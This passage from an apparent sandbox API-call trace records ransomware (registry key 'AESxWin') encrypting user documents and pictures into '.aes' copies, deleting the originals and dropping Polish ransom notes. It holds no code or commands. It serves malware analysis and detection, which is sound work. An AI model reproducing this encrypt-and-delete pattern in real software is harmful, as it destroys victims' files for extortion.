nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26e5fd4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0082.268] WriteFile (in: hFile=0x8e4, lpBuffer=0x2796058*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2796058*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0082.268] ReadFile (in: hFile=0x7ec, lpBuffer=0x26e5fd4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26e5fd4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0082.268] WriteFile (in: hFile=0x8e4, lpBuffer=0x2796058*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2796058*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0082.268] ReadFile (in: hFile=0x7ec, lpBuffer=0x26e5fd4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26e5fd4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0082.268] WriteFile (in: hFile=0x8e4, lpBuffer=0x2796058*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2796058*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0082.268] ReadFile (in: hFile=0x7ec, lpBuffer=0x26e5fd4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26e5fd4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0082.268] WriteFile (in: hFile=0x8e4, lpBuffer=0x2796058*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2796058*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0082.268] ReadFile (in: hFile=0x7ec, lpBuffer=0x26e5fd4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26e5fd4*, lpNumberOfBytesRead=0x77cea50*=0x251, lpOverlapped=0x0) returned 1 [0082.268] ReadFile (in: hFile=0x7ec, lpBuffer=0x26e5fd4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26e5fd4*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0082.269] WriteFile (in: hFile=0x8e4, lpBuffer=0x2796058*, nNumberOfBytesToWrite=0x371, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x2796058*, lpNumberOfBytesWritten=0x77ce974*=0x371, lpOverlapped=0x0) returned 1 [0082.269] WriteFile (in: hFile=0x8e4, lpBuffer=0x2796058*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x2796058*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0082.269] CloseHandle (hObject=0x8e4) returned 1 [0082.270] CloseHandle (hObject=0x7ec) returned 1 [0082.270] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\WffPHgzW1qt5nuBKPq.docx", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\WffPHgzW1qt5nuBKPq.docx", lpFilePart=0x0) returned 0x33 [0082.270] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\WffPHgzW1qt5nuBKPq.docx" (normalized: "c:\\users\\kft6utqw\\documents\\wffphgzw1qt5nubkpq.docx")) returned 1 [0082.271] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x36 [0082.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0082.271] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92ddae0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe92ddae0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe92ddae0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0082.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0082.271] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0082.318] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Zb6u3g7h.xlsx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\Zb6u3g7h.xlsx", lpFilePart=0x0) returned 0x29 [0082.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0082.318] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Zb6u3g7h.xlsx" (normalized: "c:\\users\\kft6utqw\\documents\\zb6u3g7h.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c5ff50, ftCreationTime.dwHighDateTime=0x1d32e02, ftLastAccessTime.dwLowDateTime=0xa489e400, ftLastAccessTime.dwHighDateTime=0x1d33d4e, ftLastWriteTime.dwLowDateTime=0xa489e400, ftLastWriteTime.dwHighDateTime=0x1d33d4e, nFileSizeHigh=0x0, nFileSizeLow=0x12fd)) returned 1 [0082.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0082.318] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Zb6u3g7h.xlsx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\Zb6u3g7h.xlsx", lpFilePart=0x0) returned 0x29 [0082.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0082.318] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Zb6u3g7h.xlsx" (normalized: "c:\\users\\kft6utqw\\documents\\zb6u3g7h.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0082.318] GetFileType (hFile=0x540) returned 0x1 [0082.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0082.318] GetFileType (hFile=0x540) returned 0x1 [0082.318] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Zb6u3g7h.xlsx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\Zb6u3g7h.xlsx.aes", lpFilePart=0x0) returned 0x2d [0082.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0082.318] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Zb6u3g7h.xlsx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\zb6u3g7h.xlsx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0082.319] GetFileType (hFile=0x7ec) returned 0x1 [0082.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0082.319] GetFileType (hFile=0x7ec) returned 0x1 [0082.319] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0082.383] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0082.383] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0082.390] LocalFree (hMem=0x703ef10) returned 0x0 [0082.390] GetAdaptersAddresses () returned 0x6f [0082.395] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0082.395] GetAdaptersAddresses () returned 0x0 [0082.400] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0082.406] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0082.406] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0082.412] LocalFree (hMem=0x6ff2da0) returned 0x0 [0082.412] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0082.431] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0082.431] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0082.437] LocalFree (hMem=0x6ff2da0) returned 0x0 [0082.438] LocalFree (hMem=0x7074460) returned 0x0 [0082.438] GetBestInterfaceEx (in: pDestAddr=0x27c0844*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0082.530] ReadFile (in: hFile=0x540, lpBuffer=0x26e5ecc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26e5ecc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0082.531] ReadFile (in: hFile=0x540, lpBuffer=0x26e5ecc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26e5ecc*, lpNumberOfBytesRead=0x77cea50*=0x2fd, lpOverlapped=0x0) returned 1 [0082.531] ReadFile (in: hFile=0x540, lpBuffer=0x26e5ecc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26e5ecc*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0082.531] WriteFile (in: hFile=0x7ec, lpBuffer=0x276bee0*, nNumberOfBytesToWrite=0x411, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x276bee0*, lpNumberOfBytesWritten=0x77ce974*=0x411, lpOverlapped=0x0) returned 1 [0082.531] WriteFile (in: hFile=0x7ec, lpBuffer=0x276bee0*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x276bee0*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0082.531] CloseHandle (hObject=0x7ec) returned 1 [0082.532] CloseHandle (hObject=0x540) returned 1 [0082.532] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Zb6u3g7h.xlsx", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\Zb6u3g7h.xlsx", lpFilePart=0x0) returned 0x29 [0082.532] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Zb6u3g7h.xlsx" (normalized: "c:\\users\\kft6utqw\\documents\\zb6u3g7h.xlsx")) returned 1 [0082.533] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x36 [0082.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0082.533] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92ddae0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe92ddae0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe92ddae0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0082.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0082.533] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0082.555] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\-fs-R5u50BfKvf.png", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\-fs-R5u50BfKvf.png", lpFilePart=0x0) returned 0x42 [0082.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0082.555] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\-fs-R5u50BfKvf.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\hgzfj\\-fs-r5u50bfkvf.png"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39397e60, ftCreationTime.dwHighDateTime=0x1d2facb, ftLastAccessTime.dwLowDateTime=0x4fd7d320, ftLastAccessTime.dwHighDateTime=0x1d302ef, ftLastWriteTime.dwLowDateTime=0x4fd7d320, ftLastWriteTime.dwHighDateTime=0x1d302ef, nFileSizeHigh=0x0, nFileSizeLow=0x13b0c)) returned 1 [0082.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0082.556] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\-fs-R5u50BfKvf.png", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\-fs-R5u50BfKvf.png", lpFilePart=0x0) returned 0x42 [0082.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0082.556] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\-fs-R5u50BfKvf.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\hgzfj\\-fs-r5u50bfkvf.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0082.556] GetFileType (hFile=0x540) returned 0x1 [0082.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0082.556] GetFileType (hFile=0x540) returned 0x1 [0082.556] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\-fs-R5u50BfKvf.png.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\-fs-R5u50BfKvf.png.aes", lpFilePart=0x0) returned 0x46 [0082.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0082.556] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\-fs-R5u50BfKvf.png.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\hgzfj\\-fs-r5u50bfkvf.png.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0082.556] GetFileType (hFile=0x7ec) returned 0x1 [0082.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0082.556] GetFileType (hFile=0x7ec) returned 0x1 [0082.556] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0082.611] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0082.611] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0082.618] LocalFree (hMem=0x703ef10) returned 0x0 [0082.618] GetAdaptersAddresses () returned 0x6f [0082.623] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0082.623] GetAdaptersAddresses () returned 0x0 [0082.628] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0082.634] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0082.634] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0082.640] LocalFree (hMem=0x6ff2da0) returned 0x0 [0082.641] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0082.665] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0082.665] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0082.671] LocalFree (hMem=0x6ff2da0) returned 0x0 [0082.672] LocalFree (hMem=0x7074460) returned 0x0 [0082.672] GetBestInterfaceEx (in: pDestAddr=0x277e0dc*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0082.739] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\-fs-R5u50BfKvf.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\hgzfj\\-fs-r5u50bfkvf.png")) returned 1 [0082.775] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4a [0082.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0082.775] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\hgzfj\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0082.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0082.775] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x7c8) returned 0x0 [0082.775] RegQueryValueExW (in: hKey=0x7c8, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0082.775] RegQueryValueExW (in: hKey=0x7c8, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x275447c, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0082.775] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4a [0082.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0082.775] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\hgzfj\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x540 [0082.775] GetFileType (hFile=0x540) returned 0x1 [0082.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0082.776] GetFileType (hFile=0x540) returned 0x1 [0082.776] WriteFile (in: hFile=0x540, lpBuffer=0x275d48c*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x275d48c*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0082.776] CloseHandle (hObject=0x540) returned 1 [0082.777] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0082.840] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\Z3txdNfa.bmp", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\Z3txdNfa.bmp", lpFilePart=0x0) returned 0x3c [0082.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0082.840] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\Z3txdNfa.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\hgzfj\\z3txdnfa.bmp"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37b439d0, ftCreationTime.dwHighDateTime=0x1d303d2, ftLastAccessTime.dwLowDateTime=0x28a1aea0, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x28a1aea0, ftLastWriteTime.dwHighDateTime=0x1d2fa09, nFileSizeHigh=0x0, nFileSizeLow=0xcd63)) returned 1 [0082.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0082.840] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\Z3txdNfa.bmp", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\Z3txdNfa.bmp", lpFilePart=0x0) returned 0x3c [0082.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0082.840] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\Z3txdNfa.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\hgzfj\\z3txdnfa.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0082.840] GetFileType (hFile=0x540) returned 0x1 [0082.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0082.840] GetFileType (hFile=0x540) returned 0x1 [0082.840] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\Z3txdNfa.bmp.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\Z3txdNfa.bmp.aes", lpFilePart=0x0) returned 0x40 [0082.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0082.840] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\Z3txdNfa.bmp.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\hgzfj\\z3txdnfa.bmp.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0082.842] GetFileType (hFile=0x7ec) returned 0x1 [0082.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0082.843] GetFileType (hFile=0x7ec) returned 0x1 [0082.843] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0082.878] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0082.878] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0082.885] LocalFree (hMem=0x703ef10) returned 0x0 [0082.885] GetAdaptersAddresses () returned 0x6f [0082.889] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0082.889] GetAdaptersAddresses () returned 0x0 [0082.895] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0082.902] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0082.902] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0082.938] LocalFree (hMem=0x6ff2da0) returned 0x0 [0082.938] GetPerAdapterInfo (in: 